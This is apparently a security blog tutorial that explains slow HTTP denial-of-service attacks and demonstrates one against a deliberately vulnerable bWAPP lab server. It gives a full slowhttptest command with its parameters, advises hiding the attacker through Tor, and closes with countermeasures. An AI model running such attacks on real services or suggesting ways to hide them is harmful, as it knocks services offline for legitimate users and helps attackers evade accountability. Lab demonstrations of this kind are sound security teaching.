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Asymmetric DoS, slow HTTP attack

The story of David and Goliath
After reading this post you'll know about asymmetric attacks, denial of service attacks, you'll know how does a slow http attack work, how to inspect the http requests and responses, and you'll see how to perform an asymmetric denial of service against bWAPP with slowhttptest!

Have you ever heard the story of David and Goliath? David, a young boy, goes out to confront a giant, named Goliath. David is the underdog in this fight and is expected to lose. But, everyone underestimates David and his prowess with a slingshot. When David ultimately kills Goliath, he demonstrates that even a little guy can triumph over the biggest and strongest of enemies.

Fine! Today we are going to talk about unequal scenarios. Furthermore, we are going to battle one ourselves.

Let’s get started

So, let’s imagine, for a moment, that all you need to kill the giant, that everyone fears, is a little slingshot, not a big mace, nor the strength of a thousand men. Sound crazy? Well, it is. But it’s possible.

A cyber attack is considered "asymmetric" in the sense that you only need a few resources, in this case, a laptop, in order to cause a considerable amount of damage, malfunction or failure in the server. A very real case of David vs. Goliath.

If we push hard enough, the server is going to stop providing the service to other users, in other words, we will cause a Denial of Service (DoS).

How does a slow http attack work?

Imagine a line at the local fast food restaurant. A customer at the head of the line can’t decide if he wants a burger or a hot-dog. People behind him in line are getting mad; they aren’t getting their food because he is holding up the whole line.

If you look at it in more detail, all this customer needed to do was to "not know what to order". His indecision basically caused a denial of service for every other person waiting behind him at the counter, i.e. A DoS.

Now imagine the same line, but the customer at the counter knows what he wants to order, and he’s ordering a thousand burgers and a hundred hot-dogs. Again, this means everyone behind him in line will have to wait while his order is filled. The restaurant can take no more orders until his is complete.

The HTTP protocol works similarly, it requires requests to be fully received by the final user before they are processed.

Two things can happen, if a request is not completed, the server can either wait or set the request as timed out after some few seconds. However, if you let the request complete, but at a slow rate, then the server will keep the resource busy waiting for the end of the data.

What would happen if the customer orders a thousand burgers and a hundred hot-dogs, but he can’t decide which sauces and drinks to order with them? And, to make matters worse, he seems to be intentionally indecisive and he’s speaking very slowly.

The answer:

This is exactly the idea behind a slow HTTP attack.

A web server keeps its active connections in a relatively small connection pool. We will try to tie all the connections in this pool to slow requests, making the server reject other users.

Let’s do an HTTP request

First, let’s run a bWAPP server on ip

Figure 1. BWAPP server

For now, let’s assume that we are at:

And we entered in the form:

Figure 2. XSS page and input

Once we access a page, the browser is going to ask the server for some resources (images, texts, HTML pages, CSS and JavaScript files, etc) and we can see these requests and responses from the command line using curl (or Google Chrome, or Firefox, or BURP).

The process using curl is:

$ # login to the server so we can see as a logged user the page we want
$ curl -L -c post_login_cookie '' \
--data 'login=bee&password=bug&security_level=0&form=submit'
$ # result: a file is saved with name 'post_login_cookie'
$ # submit a post request with the data we want on the field
$ curl -L -b post_login_cookie -v \
-d "firstname=test1&lastname=test2&form=submit" \
$ # output is displayed to console, we'll see it in a moment

As mentioned before, every single resource is going to have a request and a corresponding response. In other words, we are asking the server for the xss_post.php resource with the parameters:

POST Parameters

Since we want to se an HTML page, curl asks for it:

curl, server request output
*   Trying
* Connected to ( port 80 (#0)
> POST /bWAPP/xss_post.php HTTP/1.1
> Host:
> User-Agent: curl/7.58.0
> Accept: */*
> Cookie: PHPSESSID=5fvb1fr053gmc2f91ooicvf1f5; security_level=0
> Content-Length: 41
> Content-Type: application/x-www-form-urlencoded

And the server replies with:

curl, server response output
* upload completely sent off: 41 out of 41 bytes
< HTTP/1.1 200 OK
< Date: Thu, 15 Nov 2018 21:31:32 GMT
< Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.30 with
Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14
OpenSSL/0.9.8k Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/v5.10.1
< X-Powered-By: PHP/5.3.2-1ubuntu4.30
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Vary: Accept-Encoding
< Content-Length: 11291
< Content-Type: text/html

At this point, nothing stops us from sending follow up headers with random values:

POST Parameters

wait some seconds…

POST Parameters

And nothing stops us from simulating a slow connection on each one of these requests, so the server is going to have to wait until we receive the full resource.

Why not do a thousand requests until every single connection available on the server pool is busy with us?

To do this, we are going to use a tool.

Using slowhttptest

First, let’s pull the slowhttptest docker image from the docker hub.

Bash command
$ docker pull frapsoft/slowhttptest

And write the following command:

Bash command
$ sudo docker run --name DoSBWAPP --rm  frapsoft/slowhttptest \
-c 65539 -B -i 10 -l 300 -r 10000 -s 16384 -t firstname \
-u "" -x 10 -p 300

The parameters you see are described below:

Table 1. Slowhttptest description

-c 65539

use 65539 connections


specify to slow down the http in message body mode

-i 10

seconds of interval between follow up data, per connection

-l 300

duration of the test in seconds

-p 300

timeout in seconds to wait for HTTP response on probe connection, after which server is considered inaccessible

-r 10000

connections per second

-s 16384

value of Content-Length header

-x 10

max length of follow up data in bytes

-t firstname

add ?firstname=(-x 10bytes) to the target url

-u URL

target URL

While the attack is running a user that tries to access the service is going to see:

Figure 3. BWAPP is trying to connect without success

If the attack is long enough, it is going to get timed out:

Figure 4. BWAPP gets timed-out

Once the attack is finished everything returns to a normal state:

Figure 5. BWAPP working normally after attack

Since we only need a few resources (the internet and a laptop) we can even do it on a low-bandwidth connection. Moreover, since we don’t need too much bandwidth, we can pass everything through a proxy in the tor network and hide ourselves.

Sounds scary, how do I protect myself?

Counter-measures depend mainly on your service. Some useful mechanisms to prevent this kind of attacks are:

  • Limit the number of resources an unauthorized user can expend.

  • Set the header and message body to a maximum reasonable length.

  • Define a minimum incoming data rate, and drop those that are slower.

  • Set an absolute connection timeout.

  • Use a Web Application Firewall.

  • Reject connections with verbs not supported by the URL.

In cases where you need to set minimum and maximum limits, it’s a good idea to use the values from your statistics. If the value is too short, you may risk dropping legitimate connections; if it is too long, you won’t get any protection from attacks. Perhaps using a margin ranging from one to two standard deviations may help you with this.


I really hope that you liked this article.

I wish you a nice week, and will see you in another post!


  1. Wikipedia (2018). Hypertext Transfer Protocol. Wiki.

  2. Sergey Shekyan (2018). Slowhttptest - Instalation and usage. Github wiki.

  3. Sergey Shekyan (2018). Application Layer DoS attack simulator. Docker hub.

Author picture

Kevin Amado

Civil Engineer

"An algorithm must be seen to be believed" Donald Knuth


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